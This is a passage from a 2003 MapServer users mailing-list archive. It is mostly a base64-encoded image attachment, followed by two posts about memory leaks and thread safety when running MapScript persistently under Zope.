ZCFQgQOEdIJT3MvTLIzKa6O2GgF2YVcjDKEDykrNL6Cr+uxsC6EYR5FlzsDz lYVVkInMzmXGFEwpHkaRSwozLeLzczhIiffP5xc841Ab9JF/ApJHZUyDkBbB E3mFQ0SVQVFdhzfk4lu+gg40GXS+HJ1x9OVZS2SYSYK2kDztDXV2h0mjSwOD HsYkYahTQwp43OYwXXtiJeuWU8tYQCssmje/8trSg2W+j99tAT9oArBok3OO s7B2Om7uD1gUMMQrBrO1wwOEMdFGLWMCQK4hKtsG6iq+1d3ew30mfUpVayFH PL7RFdJDOXn/oOj9lDEKOpRUf3AUKeHLrBHIIs+0U8INDzl41tAcZ4AeKQYj kczevdsSRGisQuOgvPY16VwPsLVak9ivc3RiMS8g0/vIivD2sgtFsuX4Yemh soaZWUN2JLGfA+qVa6p/ODnpEQJdNmtXYudOV4JBtNcNDfqIEhRyf+yCAzQ5 L0Rg+bi9nKOhONuXVjx8JkdQlDkdOtpBiYaXgdPggsEyg5WbeCEPBmEcWJUC 0TIHqmq1lpdkzZf70BTot5mjt1N0lD2gDvNzp6/5Ez06exYO+7MS42lyAQfo LTjInhtaBHXCkV9mvl7LLo8l+pYgXBhUOtxoVUFx0ZsKJ0XQtlfVFXwE+pNM XJjVsOvoSoh4punJZep6AXrLwWjeli+aDfwXuSYcLHihGgBigp6XuDypTJwC BRAEHrGswiZkZ4d+q6olu3S2LbSoBbqLlAoovJLCxIc1URYRMxeqh5DnBWjb q7UewQ8pa7Lwucup7vKejVkNsSZTznpowQnakG4uVMnRkdmhAilTGIg1+xyE A5cy2Scwtw1O5b6z41hyIWhyp8+zBUX72JdpR115SviB1re5U6G2RexjOqVy UtjNuHUVakY5NdDoxDLjXAwPHF68rwYaaufFnLglxBXSp8ydRUn7IL06SOir 86aTLYdi8E5TBzA1AbEBC2+uONfxQK52AAbBJLE0sqH8Bun0xwJxyiQ/UmP1 C7uIdA02FSlheKjbAabBcEoHlkx8mYbiWOuB5Xhz4SxBsXFLkvcWNgotneos BUtrjDuHU9RVEhiiTI0Ii0y0GvoSq81KAV519KriEEtzu2S8rs7lqm6C9nnZ 6UR51fJC3L8FQxP1u5bHUFwXFtvfSBz/Bu3B+OesPPJHS/2KZAkAZTIZWzkZ ewSDhC4VguRo+CXolCvcKBLFGgreTmn5GDWgH4ocT/Ut3BB7kDXJexzibEHR tEsWSY7pgIpdVJfz7cIjJTESBokCvbAtweEKQ4UceXnhEy0C8KMc32aJxz0M AqC6aWI8t1hUGf7aHraxLO79QkGg8oxjJhSnUCFf5l520VRZWxvnQarJcRRI znha2NFGK0HEBSSUEV3JW0AcPTlPNWa1Vqf5R6u0mkZvR0gSNOmUV7Wy2qTt MPDldS7jcD3GosOK7wsU888BsJUDiSymnTfzJtRRB45yOcwy0pITBVkWozrQ S2IUap4hQbPpaMbLCQPK1QwWuPawlugKK6rrg/kSdKySN3qDfo2bVDazpofO 5D0OEc7eZhyzoDgOtDYUP1cbKXZjJSFb8VwukW1Gg9GUIQaOmlC8ws+Jc4oc 6+JccaAFsUY6LG50xQWaforX5Ox4XdWrUBus4WwU8QLuPysoymghw4YtK+rh 93y5EuqStq4ndJySkQY7fBFdpvS1J0oa5D1xm1CTocN6Ui6GjIs+wXjKhHY9 E4Ky0kAmvJTqM/kJVI0h5T7FvZ7fVpuDxNItEJ+AMdy44012SrbZdxYUVcVV vBTW8giX9BnKdoiMOwQX0CKnkGaMK4CiSLADbVCazQzz2dJkgwSpowdswHtI bD4vDuxI9k0NzaMMto2FTccfk1y4TIOdR93MhkjcOFYEKlwDhEOJCRSeVFXA 9zT5CKGKqD9CdwdU5lovjBqSI4lyDc27Zl5y5FK0Fh//hFA3HOfiDiuTIIno C5iwTNRhdWn/MiNblCSnfciYEkGhSTSRiU9EimoGypdKTE9dsxK8PVP9gZcC RbpKKIBf4GJEDIuoEbNoqgIbj872YXENOEzG8oHFIueajgVnwq7aeZyJodGA gxTgI7EaxOXKBOFyXVbVCdkhHAxgIyow4TobRAkHRgI7TMjdIrr54k8e1/ON v/Ug0SXCTiiZLCekYpEyhJUJnGbFwtpgzJSXexzCm1Ely2011oRCogq0sAmZ ktdczgSmbk7kwrWj5Lsdmqow45nnuW11zbnrgOK6kKjHEiU2RVgAYNRBeBty gNKcuOlPpnQzvCFzXdYuLhJ1U1F72rvlHK/UnZbiBbIBBKFkocS0ejF5lZZB hKA1fLdlbUBMc2HH6jGa6aBFkC4IA0Ypi1NRnkj6udeVNmyJMjOK2Z2c5Rqg QMZrNKQueBzqGgnKndZvK/BftAhFTIptForrRGJqvOAX1UAolFiB/CczBDdB bk4YBkoUhiJNQ8YLSvVVk6x8EWt0w1h0O1tlqxN4UFajHEUvwWpccK5m9IhW P/xyc1BcKxD7jgIb3+q+76OQm8Q4m6GzhQnmu9qwsmoNC1h4EklojqpL1oDK f8SruXlCFdmu7gF9hrUmyWKnu6HQP1MoNgc2MEpAGFw8gmIQVlHkd9Cq9jSs JLyGVQRaCVbeA7JQnKaVPkdDbV39gvy4NOWnMrLmfGcxpGkendMmodiPxFY0 aBbEsXaOEL1C6IIiryqwaKilNbiwvSRALloZX1srp4u82sIdZfWsDlKmgxfD 6xyoTTv153rbcrVvnyUomihUzwxj4+odQx2LcJHYAUW9aGgpgHMV1WScle0U ISff9mZ7oyXLPsHBqnKZSC81S/AUpqJj3e5xtwU2tm/qXQ6M/ua+0PvDilEo Qwr7NsD57jhh2IUYSwwHEQab6wAdm6pGiCvkqpTqliPJ+0FOIx2bO7HCDnD4 XnYFqn5xOqkasY2m1LMDxWDq4aMmLMOkUbSE0QlNBkQNsOJmhHiwI8/7LSML PUBAJXk61gGPEOGWNDXKTKOFWCBbDU0bKmtcpYipss+8vhNtBopNJGa3CbFn VZsFxbGdbhGcAKNBHdexPOSx+sbLI8qtly4jQ1JUtTrX6oJ+ZRWETMXWEk5l Z9PWJFZKFWLzSEKO6dD15u629JLiXBok1YUmf3Hc4EbN6BAq5CiEhld6mGE9 ODVudwhsFFnRVtdGX1XqxN2wUelj7EobNwvQd/hg043dhTUE6G4oBlcgVQ5H a71iKgQhwF7VE74dAXwHwijTCppIAlz2+5auGkXLmk8Kt75roDamc8ECytn0 rM/9LbV4ykTAXAlCsdtQ64Si58vz5XeUCVyU6katKO3BiFANVdL0bH4XoVyp HZmsWiZu0IcNCE0CpuT+xk40D3Oeyz7rUIxDzWrD1KiDWC4snsToNaAIWrDi ZM2ZfQxGVSCxyYJ5UqcnQBGFubsUgkBJJrsaZPGKiJefFoodETEf3k+6kfji tocD0M6K32OYU6nZPQy6MJUFyQ65ZuAUzZGGth5ZnSeis9EL1zNNBiXlzpM4 hlIgVa31Bwd97osCB8FlyywwuO9kKi7jMhIavxUjV9eMslMSVsZhNDlAK8dB HhFBtoUB5e8rsj2KGkFXoN8Yi16G81JFrrheQ5OdS2R8bhKKKX4/k116qbMu E/RpNB+MgH/aDO5DEfeoR0EWRsS6QG2lyKYX4mhweeLMhFUILuWariSb336y rebqMsnAYil1M3PFerhw9Kdp/VDs1WeW3tpD5BrUFAqhqLpCPGL10LUFtEZC OZmkLhgjkvgGLfR8s7UHlHKDeRC9B7D7RMmOsiZHMs1tlNimE6xWfUcXGNWI xvNlLqIR+vBM2U64sKw6gSFVC7QL2EW3DdQIGdECGkElMwz62nZJRy+Igm5k 8OUNRceCjPRPaYgyGONAKlq2rATFhL9vyhBg5759SAwyWyBVBoJs4GHL0wFn euSvtYgkx03n+QTxhxllvsYiRCKJq3IBxoLxEjA0lRcfO10papkAjY+ed3F7 q2FwaCyycbYy5iFRs1ynx7Rk1hPAoToBca+t4Gpm50iwgWSHvr7XMOy2emZH hTjFuB3sn6MNU0v0QH23zwrmqdQIufGrPhvByh7qh6llVTUxtxTT0YL3sw1R jc5S/rQ2D4vPXGrACRN2A8lqk45Bij8qFnohTUW5JkpJMKTR3NEh4PETQzE0 +Vworh6j49brTBvhsYt624HMb15nSDVkUU0empKdsKPlIK9u6i77yONuy0QE fknGEWs64yyibWQuCRyJRUSRRHYDJdDCfakdTO04EBTB+JIcLejFSIee6VzU Ps7lw+C1r4Roe/qQhm22tOd2ks8nhgaYELCwB5yqV3WckAqLm90cb7anbw7I AAAd0klEQVRITn1P//W+6jNEoowM2gWNWwKLrahhE4t6eQOqYSjqBA8ozjLS bbFG4kyJLugro2nangCsNnvgtBCD0UJJFXO+PUB2umNEgFz/9U1ORnSYX9UV l4IHoTZ1MuToI8zS0oZ/kbiFRgNFs2yILpFKbqQuIkA9VpxIvcIndlU3EEqJ 9hFwIv16bd2FunIvv44KYnq5pITsU5999PR1WbE0ifNZ8+waLe61p6e6z+Z1 H2hr4+f8ubEXhsy+n502yfqOH8ErF4uyEQNGhkPH/xoxwiUltT2ek1HZrKgn WP8oGRPp7yK4DXb9QkHnyILv2QDTkfxj5aJMAEVUvcXlHtuGwNYwgSHGX37j xpUMVSoDUTKJJxibwibxTDPE3WBm3pLfjQPg5zfvGhz88mlXv1BT5tdMWyOv A8VUoM4kOxHYmZlqoGEBpVVRl+ExqUMLeM6WXzbW2TDahGKsAsw3BUwEDEwy ZbEbf5pfm67dwYrOLKhjAOzPAftSsGuUSZHOXQ8Uw3UPjFAqdmM/VTX8eNas nGWY+RwyxepQJCffqO4H0/EYyFSq0PSbd1ZP6B60I8Gb3VbNdAX/gJZgWvhx KRIaqteAnhuhIvw2m1f0F9TO0tHKQglqahLpVYKCV7hT5FKO+i1l1kX93Vmj jjWHhOKmgt8cKLaOKU6X844aSEgwi3Y2w2yJ2GvqlTJ3XU5GSpqwoLelaxnF zijAQrSL/rMuuVhsTAJEgcGdo4hpB1+Eu1rP+ZrVPCyugEQ5YSpnyIXmqQYh gK1SG1V17Z0DjVVECS01JejMLqJo35ekeM8rJc/8qS4SQNgzBzH1JlaUgb8H Ct6PZXjFG/niluRmSLFK6FuVrQRFPRge/fmFNG7xcCFcOfLYLqIp4BoC9r2h iEf4JOKRLkjiWJaruybGUetHX1yb+eXThsyMxY55UU9jKAjBcq2tCA8BM+On TgMxZ3ktIRpCURAPf67GkiHuOkh08oBFJJmSOikyLO+XI9/7i1uPWXg6Zn8P ugOM6ztsf7zrGIt9UHQWkOVymiqUTIxnlgK4BwG5FBePeHXhODpiP3MxJjQC SksxS/LR3jh9WB4PezD/K/mNFZz7NPfshnhrRYLroI3Qp62JY5M0nl36wTZ9 SoaWQrP3CZX9UGxYk1GzU4VsEssTa46IEdhLPadoWBUwbhfrvNLbIUKZLi3G mvD5FvdQsT8w/nEN2NOcXEqKVN9WU3wJ0A4a52uwplpjnvlCgEWitEYSSa52 TstBRchzPGG5dbNctEzXtqm5s7TVXlQSNbEOWhRzZ07DxdnmzQ6Ne0u0x/o1 IMol+VXKHDIwAxkkgm4gfHep1zcTTtC+KqYsOzN4z83WWAH8PTjQN/464Dyf GOcGaDl7EVHAk+eST88g+EZNkBEdwcTXLQXonIp9Q0AouszbHltM1chKRLqv Di1ufKLnr4w6ZJNM8+pwWXFmP/nhvDQibELriB2KjSUcVkt6uGn7hF4vsnNA QjpjaXrsfY7F8TmkwXiQWl2UsxU1PUQhd+NPRSKfEGJzmlAfqRwGaDFt65WY OrEYrfYRjZHFo2PcNgnmXbGwhMU1aM+kNNPdLG+m2Ak33iVNzq4cFnD0gBhw UUEi18tSqFBqRjhszxXJPlFUMszZeLivOkOnPIGc3OKFkx/m2TJupe01ph3P p2O8eiok1Z+eobG3nn1riEJ8tauwK6W15OgLHaMzEiVtGIIxTB62yxrpWLY0 4hDIbkJR65+4FeMR51vIkVrBdTFAA2bBJgbUzCbHrsUbmm74ISi64T4Ii6id ABJ612IqTyYsTpzoidUaS9QiXVnjfStod9CdjBYWARSdSceUJqxbOMBxEiQ9 n8Gxhu3KJaAHRLXzKMv7LiOHfsG+04faLKYpy9dJBkAiBCdvFG9I24vSCtUE u6GNXmBmJ+JwUPXZ5qDoZfhvLcH1ChliICajeA5KcisWCa/jaUYqrGZ40+qF SFy0EnAvU8v7kqijK1jCsTJRn6x5BfI8UNZB02tnaVLhOcrsCI66yKZ/bhIO VnD7DzLF6OzWz3lPeH3itZIhJ3QK2nVtIzCEg2ZI8dVHpKuAxqNncaAxkCGc BDD+BNKS9nYF0FJ+4GaO1pgQi6Ck3NLdPBT1YnTjiO5EU1Yvr0LkpFtxk+mw hCKYckAoQjND1SApoVPPxHbbQW4uiqJLLFZrqOVYtNJQrgWLks2BihArBubH UxL/5T7Xo6t8H4GifK2wht+DBuTReigCKgf5ErbCSkIUWOQ0TdhSEglA2eIH z5g63tqvvgzHNkCRjh09YV6jXNFyJYwaAp08Ortu2FHGaJlDwhqgCJoqaqsI FerG6TVckHhIZO3JGIPblVYHo2NlB1YdR0Hux8jhxassk0rG3XBrEWWCqoQ+ WJ51Yh6Mafxyn2AdS/W6I06Go2nXl087DlXD0CLaF8Gj3w5KYcoyUcLRniiN PMLqT52kqB+BBBTUES5FMWQ3swKzK7KAhq1OhX9ZqzDiiKDTXAYKDaWo+pdl O+/MWT8Wq3GcWNftQ72qmFWDazePelqBz2TwWMu5w6mvwITXE1mMRh4qX8pS /szzVFLW16GDN4kGiH/PlLdsO8wzMAnozKnqet+Zww/04s8pY2refaXhJlsX Ukk+nIBaUDZxSokaMNTKWR+kH96OJ8fqShV8fJbgLIX1g5dBDI0PVjb/PotZ o1oH4eeEMgWSWVfUN/6qD81QOToGgcgh/15wnkx2UJY+0H6CLCAvKjeyFTuT Zti42ACVYbDQai2sPq0lMOBCNLWGiwkokzKRUm+VWMHpkL82jmDVArybXfZR gidz+vTtPRgkl5LZw25oYdPbOpj0K0zXmMXDFSvuNgl8w9cSIrF1FN7zAhls qSGP+ElPLSyqVqgDx2zHVY7mICoFzWpzgbWsoOcdoyKDNFgIhKZEd97DY0QJ vzyCBSCwscctY7ZkOrUWF9HvJ3lxHlzVvzJiIhFgw6EoNqUNtSTXGgfmILG6 nRdy/ZfarYUW4Zxq/Bj4vAx2p7cNXVqQDceciMtq2uMrGlPWODCKEntmONU1 eL1WLSumWlAYgkR3eY7TmrZICV66ur/iMbZiSrQ5uvG8YpTbd/hsMzhTttXk N4wDAkNxb8K2MUgMoBgZ2qMjVg2hkaBs9yBgiRiLuDtCJ/GWQugyDi6piIJQ hI23AvQWgLFci5fgrdgQoiyX4LQ5+GFqSBv6PGeBHLIP1RHywPj4tdc9evfT 1+y96M3fOPn0sUt/6swX/vX/ffj4iQ/99BOHXzh599X3I63xspZUboOaZOyl 4BULfOWbGIB9SnYX0eVozhW3gBk1FgFjdUn1+tYLRZHpBkpfMWe3wW3eKIlZ g353seexi3/w3mc/ceKG3Q9+/Y2f3PfSnf/dz37i/kt3//IffvnB3zrn6WOP vXTV8c//7h/e9D8fff7ag4/s/uNPnXb5TnQcPtElu8Nz5PeolLW1/xKncANM 26AdvJ5HZ9tF/LqUyRoLHOw0uE9ukDQPiVQeCPIXJ7CW3xxMMZsg+Y9tdcdD e3/3mQ//75/66Jd/4vWXvvHyv3v13ZPHnn35+d//5X/5zEuXv3r58+/+/oe2 X/7pU5ffctl/euZ3Xtt79MglJ1oK1HTEw+p6OqubcBx3eV8saEKGctKUmTN4 Wh8U/SVP1yGnFUal6UuMayBf21/f2CotI4VEIWdp2MGCrdCHCrHLo88+e+0F p/f/6LJzjj793qtvf/rh8770+q27f+7ALf94xcsf/svfO/iF+87/3PYjh77z R2+duuH8S2/7wvHb77ZaIj3I/JXlRTlw79ayoD08sJiFt/loB2jxAfOi2trg crRzSvDrqZs4eqBYtODBVpEAK9XVjkmC2wQuFq7Yu+vwroPvHDt57vFn9915 6PErHzqz9+deef2z951z+saf/Yljb979xqfe+P6lP3P/L79+w9FdNx7f99i1 +3bi/phWjEo1WYet5ogEqzg/3XByPxQB1TqE23mQ7TQ/1vzKnTllJyx6gxew AIZink559mL1JBZ27//GM8dP3P+b513wvR077/v8Pa9e9+6/fPDzTx576ODd R/98zyeu+uvHfviN6+5699cO/0+PfPOzh7923uK3b7oUtB+GCd247CB1DQQO Gq2yemlUT+LNnPBqxbjtTRuXx1mGog22LpPi6F6509SyawRQiJ/k69/4/mdu 2nNy/10X3/nGO9sPXfj4yX/71qMv3n3XT/73HzzzqdfO7P/Zhx685eh117z7 wPk/vHL/kSdO3bn91r1Y6b6oYGLm8uAvwzF7sDVdr1+aSEzCTYQjwJ+bhPEE AG+1WSR00+lYKxRj3VyuwrQYCSNrbA3xQIhu4oq9Xz99z77b7zt8z+XbL3vn t7722oHLb3/9A6duf/BbD/7XLz96yw2HfuO94xec+sLpG45+8d67bz91YP/e +2OBYRdwb/kb/u18yhHfuwlBBHQEvwftBns/Qjk13KO2brGsX6K8EvF2VI3s G9G215Cp041FMyi3nHxj9w33Hdr5/Qfu3HX62mcPX3Lw1EXbH/vp0/9icfVd v753+80X7P3Ye7fvvOj4nVc9cepXPvSdF6+48Eavb1FYY8qbEua3JmSVQpdO X/LMGwsZGdYwwXruQUejDtlUDZ2ApAHjKlCn2oazfe0xhgpFYKTEXoaZCPr2 t4mofkqX3Xjgkdv3H9l3y2VX7tjxl4/f/Hufuuj1XRce2PtPH7/opz783vHD Dz174fFDR/a+/eLJBy6/YN+NFx9/8Pdc5/EuvK396VL8HAs65DKPVw9XeXJL SLns2h6HaEVDkk4SFdfr6eY+fUklF0XW+AYU9S+QYnZ0NWYtO2JK8kc3nzx+ +pX7bj18/ZWvnd5+5bl/8a+e/sANtx94/NIfPnLkzKGTh2654Jr9O9+7/vsX nXf44isPHnvh6sXOZw9/rI8IISXDCWzPogVPIP3WPSnlfI1P5jTpi+2VNLW0 cHT43pvbeVhzszlZKpYRnj7FHky2fmz3wGJK0K7Dhz/7gyc+c/sVL755esev f+v6c89/4Ont+25dfOGpu29/8wcXv/3wkS9dd+jgrp2Hj+569K7ffvjtG+/6 q6x9Ty9NprVfG4luiJ7Reik0McQ6HxKbEUt7SlqD2F0pEGlNwEswAVFEDb2G AG1NsXBUhIjaIH2iWTufLK77nY985PC7n79m/x13Hdn+7OMfP7b/xdv3vvCV a86c2XvXXbtffOmOl5/64ql7rt3+xo6Lf/X0W58++Ne7gn6RPy5QEcKb2zWk tHZag8iU9YHarBWKsOlNFNS/jqVxFvGAO6XG7Ze5T4n0umlQ3GgXNZjs0OM2 6OAd+z77H/7zEx996ZqnX93/sYdu/OVzbvrCp5889fyt5733rUf//E++tuO5 Z8/dfvXN5970/KcPvvGxy379f/2Hvwoa9d3e+Ea+KDNFMJk0smcaCg7ZeKwb ip1Y9IvxHPzO0JGB3M2sluH9QmX2kGxH1EyxxQawEa2xM+u9fvvxXVedeWvx kffueO2qi0786ve/ceUNiy9feu6TJy7+wQcf/Prxv7j7sj85/6Y3dx08fO0X /2778Su+fuilRsdME7Jt2bM5G2oKq6hx0rRMXsm1P8XdWHZN80S/jLjyreIj Kw5GXiHOt9hz217GANbc+cplSdMpXXP18T17du3b//aB2w4ev/3hTy+Ovnjr mfNe+ujpl556/IZr77/4iqvvfPTi83ZfeuCPD734ubt+5z899dZfb8f9WoUX Om7BqtUfiZypS3hqwsvZYysCdO+gdaT3vmS+4ZotJKLQiUIdkizW7nwWhQ0O uZydLy596t2rLvinM3sOvPnNM5/6hTMfWLz98kf/8/9w5Xnf3LX9rWsuu/PA oTuO37vn6svPe+OdY7te/uRHPvpffue+9/yOdczfNwr4dtYrbNeJ/UHAXTaC 1rpsqc00+l9dKo9j3WcSVeEMGlmYwBnKRdfAVDqq+KKZYkFuQwZP/PI/vX7N j7542xfO/Nwv/tbhU5e+9/2Lfunp33352B2vPnbo8G0377v66MGnD5+85JNP 3PGt//HyP9pxySWX3fHuoqFgoNmo9iCGZMnTyqn8aSOpwVSpCdoX6bTOzRx+ 3rPh1B678EGlzmAEV7cdeCUkdNpOZJGouJAjFTcjvU4M9H/94A/v/NSZR35h +8lde7/85Gt3Hz+456mrrrjgnuuOf/3q2146cPCO24/e/MQPvn3v0dtefPL8 d9978IUzb0pnTlyq11vVtYJF6+M6YlhJohW9ryCqmtHjQtcHxTlzq+5xi2cu HcGHTQG1ArwU8nmwKAaSePrciYkO6svjz/7qH//xc/u+ccsNn3vkuQvueOCa B0+8dGjf4rabF5ed/tJtjxx+ftdfHvn0efdee+LhY8e/cvDee8/f/o1XkXzB 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 SUVORK5CYII= --0-1188876956-1043778995=:29011-- From warmerdam at pobox.com Tue Jan 28 10:37:17 2003 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 28 Jan 2003 13:37:17 -0500 Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 In-Reply-To: <3E36CA23.F6DAEAE0@dmsolutions.ca> References: <7CDD7B94357FD5119E800002A537C46E2305EA@s5-ccr-r1.ccrs.nrcan.gc.ca> <0ba301c2c6ee$bcc83a30$3d36ba8c@sfdev3> <3E36BB3A.348CC064@dmsolutions.ca> <0c2801c2c6f4$edfd1020$3d36ba8c@sfdev3> <3E36CA23.F6DAEAE0@dmsolutions.ca> Message-ID: <3E36CDDD.7070605@pobox.com> Daniel Morissette wrote: > Of course if there are problems they would be in the C code as well, > actually they would come from the C code. Daniel, et al, I have done some testing of "shp2img" on various raster oriented mapfiles with "valgrind" and established that in common cases there are no memory leaks for reading a .map, rendering it, saving the result, and cleaning up. It would be nice to run some of the same tests one maps with shapefiles, OGR files and so on. It is likely that some specific drivers and situations will have memory leaks but I don't think we are in a terrible situation. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Tue Jan 28 10:44:22 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Tue, 28 Jan 2003 13:44:22 -0500 Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 Message-ID: <7CDD7B94357FD5119E800002A537C46E2305F0@s5-ccr-r1.ccrs.nrcan.gc.ca> He he he, Unexpected responses! Well, it's like Daniel said, mapserv hasn't been thoroughly tested in a "persistent" fashion, therefore no one really KNOWS whether it would behave properly in such an instance, and for how long. My doubts simply come from the fact that there's that issue with PHP MApScript and PHP as a DSO. If I recall correctly this isn't PHP specific. Then there is the issue of all those other librairies also. And I noticed the undocumented (my fault!) thread safety compile option, which makes me suspect it might not be :) In my case, although I love ptyhon and MapServer, I just don't have tiume to "play" with it. If I was to go through the bother of setting it up an dplaying with it, then it would have to be with the itention of eventually using it, which I'm not comfortable with. Our site is heavily used and my Zope allready leaks memory like a faucet with no bottom, so adding an other untested setup of 